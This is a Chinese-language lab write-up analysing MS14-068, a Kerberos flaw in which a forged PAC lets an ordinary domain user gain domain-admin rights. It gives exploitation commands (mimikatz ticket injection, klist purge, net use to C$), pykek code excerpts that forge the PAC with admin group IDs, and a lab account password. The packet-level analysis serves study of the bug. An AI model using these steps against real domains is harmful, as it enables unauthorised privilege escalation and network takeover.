MS14-068漏洞分析

简介

该漏洞能使普通域用户提权为域管理员权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*环境:*

域控:

  2008 R2 x64

  OWA2010-GOD.god.org

域内主机:

  win7 x64

普通域账户:mary/admin!@#45

Python2

Pykek攻击程序

Mimikatz

漏洞利用

获取域用户的SID、域控主机group

1
2
3
whoami /user

net use “domain controllers” /domain

使用pykek的漏洞利用程序进行攻击

  进行攻击前需知道用户名、密码、SID、域控主机地址,在pykek-master的文件夹下生成了TGT_mary@GOD.ORG.ccache票据,需借助mimikatz将票据写入内存中,创建缓存证书。在此操作之前我们可以用klist命令看下缓存的证书有哪些。发现有五个缓存,如果此时不进行清除直接将TGT票据写入内存,在之后进行请求服务时,系统会从Credentials Cache中查看是否有对应的ServiceTicket(未清除时缓存的证书还是普通域用户的权限),如果没有找到则寻找TGT,找到后就发送给KDC申请ServiceTicket。

清除缓存证书,mimikatz写入

1
2
3
4
5
Klist

mimikatz.exe kerberos::ptc C:\Users\mary.GOD\Desktop\pykek-master\TGT_mary@GOD.ORG.ccache

klist purge

请求高权限服务

1
2
net use \\OWA2010CN-GOD\C$
dir \\OWA2010CN-GOD\C$

漏洞细节分析

PAC的一些理解

  在kerberos协议里,client向server发起请求,serever解密ST证实了client身份,但不知道client有没有访问文件的权限。微软在kerberos协议里扩充了PAC(Privilege Attribute Certificate)。

  在AS_REQ请求时引入了include-pac项,include-pac为True时,AS_REP里ticket会携带PAC。PAC中包含了client的UserId、GroupIds、ExtraSids、ResourceGroupDomainSid等,PAC包含了两个数字签名,一个是Server Signature另一个是KDC Signature。微软给出的文档 “For the server’s checksum, the key used to generate the signature should be the same key used to encrypt the ticket.” https://docs.microsoft.com/en-us/previous-versions/aa302203(v=msdn.10)#signatures-pac_server_checksum-and-pac_privsvr_checksum

  对client和AS服务来说server指的是TGS服务,AS和TGS的密码就是krbtgt用户的NTLM hash。两个数字签名和TGT加密时用的key相同但加密算法不同。

  Client解密得到加密的TGT,在TGS_REQ中携带TGT发送给TGS,在认证了client的信息后,将解密PAC并验证两个签名,如果签名合法则认为PAC没有被篡改。此时将更换PAC的两个签名,根据前面已经知道key与ticket相同,所以此时两个数字签名的key为server的NTLM hash。

  在AP_REQ阶段携带ST请求server,server解密得到PAC并向KDC确认client用户权限,KDC将结果返回至server。

漏洞利用的流程

1
2
3
4
build AS-REQ -> send AS-REQ
recv AS_REP -> get session_key1 TGT_a
build PAC -> build TGS_REQ -> send TGS_REQ
recv AS_REP -> get session_key2 TGT_b

附上部分相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)
# build AS-REQ
sock = send_req(as_req, kdc_a)
# send AS-REQ
data = recv_rep(sock)
as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
# decrypt AS-REP
session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue']))
# get session_key1
logon_time = gt2epoch(str(as_rep_enc['authtime']))
tgt_a = as_rep['ticket']
# get tgt_a

subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
# build PAC
tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name,
tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False)
# build TGS_REQ
sock = send_req(tgs_req, kdc_a)
# send TGS_REQ
data = recv_rep(sock)
tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)
#decrypt TGS_REP
session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue']))
#get session_key2
tgt_b = tgs_rep['ticket']
#get TGT_b
sys.stderr.write(' Done!\n')

  上面流程中比较奇怪的一点是,在recv AS_REP后解密却得到了TGT_b,正常的流程不应该是得到Service Ticket吗?这也是漏洞成因,下面结合数据包分析流程。

构造AS_REQ

  看一下代码的结构,其中include-pac被设置成了False,对比一下抓取的数据包

  左侧为构造的数据,右侧为正常的数据包,能够清楚的看到include-pac设置为False,kdc-options由常见的0x40810010设置为0x50800000,加密方式为eTYPE-ARCFOUR-HMAC-MD5 (23),正常的数据包采用 eTYPE-AES256-CTS-HMAC-SHA1-96 (18)加密方式这一点我们也能从代码结构中看到:

  之所以将include-pac设置为False,是因为AS收到AS_REQ时,对include-pac值进行判断,在AS通过认证后返回的数据包中不包含PAC的信息。若include-pac值为True,将在AS_REP中的TGT加入PAC信息。

接收AS_REP

  可以看到用user_key解密得到16位的session_key(用于后续通讯),和使用krbtgt的ntlm hash加密的TGT_a(不含PAC信息)

通过对比两个数据包,发现左侧返回的内容缺少了padata部分,使用的加密方式依旧是etype: eTYPE-ARCFOUR-HMAC-MD5 (23)

构造PAC

下面是PAC的结构图

  在PACTYPE structure里有一个重要的KERB_VALIDATION_INFO structure,它定义了用户登录、授权的一些信息。其中有UserId、PrimaryGroupId(用户所在的组)。接下来我们看一下pykek是怎么构造的PAC

1
2
3
4
5
#	域用户(513)
# 域管理员(512)
# 组策略创建者所有者(520)
# 架构管理员(518)
# 企业管理员(519)

  从上面我们可以看到把域用户加入到了域管理员等5个组,从而具有了域管的权限。但是我们在前面提到过,PAC最后需要有使用server_key和KDC_key的加密的两个签名。但这里并不知道krbtgt用户的NTLM hash,那是怎么制作的PAC呢?

  漏洞一:KDC无法正确检查票据中所携带的特权属性证书(PAC)的有效签名。

  这也就意味着我们可以伪造PAC,不使用原本要用到的HMCA系列的checksum算法,原来的算法需要key参与才能生成签名。如果使用MD5算法便不需要key参与,这样便可随意修改PAC的内容,最后使用MD5生成服务检验和以及KDC校验和。现在PAC做好了,但是PAC是附在TGT里面,TGT是使用krbtgt用户的NTLM hash进行加密的,这里并不知道密钥,那是怎么把PAC传输给KDC呢

  漏洞二:KDC能够解析放在其它位置上PAC内容

构造TGS_REQ

  从下面的图片可以看出作者将PAC放入了req_body下面的enc-authorization-data里面,其中ad-type是加密算法,ad-data是PAC加密的内容。加密的subkey是随机生成的,KDC也不知道,所以作者将subkey与TGT一块放入了ap-req里。

接收TGS-REP

  通过下面图片我们可以看到使用subkey进行解密,解密后竟然得到了一个session_key和TGT,按照之前的kerberos协议应该返回一个使用请求服务的NTLM HASH进行加密的ST(server ticket)。

  漏洞三:按照之前的设置在TGS_REQ请求后,KDC会从authorization中解密出subkey,对PAC进行签名验证。同时还会对TGT进行解密得到SessionKeya-kdc。在验证成功后还会对解密的PAC使用server_key和kdc_key进行签名,重新组合成一个TGT,并把SessionKeya-kdc使用subkey加密发送给client。

换取ST

  此时我们已经有了TGT,并将票据凭证写入了内存。但是还没有ST,需要利用缓存的TGT再次发送TGS_REQ。下面是使用net use \OWA2010CN-GOD\C$的抓包。比较奇怪的是TGS_REQ和TGS_REP进行了三个来回。

  接下来查看73和74组数据包里内容,发现请求了cifs服务的ST。

  接下来查看81、82两个数据包发现依旧是携带TGT请求krbtgt服务的ST,但是authenticator的加密类型是eTYPE-ARCFOUR-HMAC-MD5 (23),但下面的支持类型只有一种ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18),所以在TGS_REP中返回了error-code: eRR-ETYPE-NOSUPP (14)

  接下来查看89和90两个数据包,在etype添加了可支持的加密类型,返回了ST,票据的加密类型为etype: eTYPE-ARCFOUR-HMAC-MD5 (23)

  此时我们再用klist命令查看本地的缓存证书发现多出来了两个,正是刚才申请的ST证书。

  之后经过TCP握手后再基于SMB协议携带ST请求服务

  至此整个漏洞利用流程已经完成,可能在一些细节理解有误,恳请指正。

参考链接

https://www.freebuf.com/vuls/56081.html

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/21181737-74fd-492c-bfbd-0322993a9061

https://daiker.gitbook.io/windows-protocol/

https://medium.com/@robert.broeckelmann/kerberos-and-windows-security-kerberos-on-windows-3bc021bc9630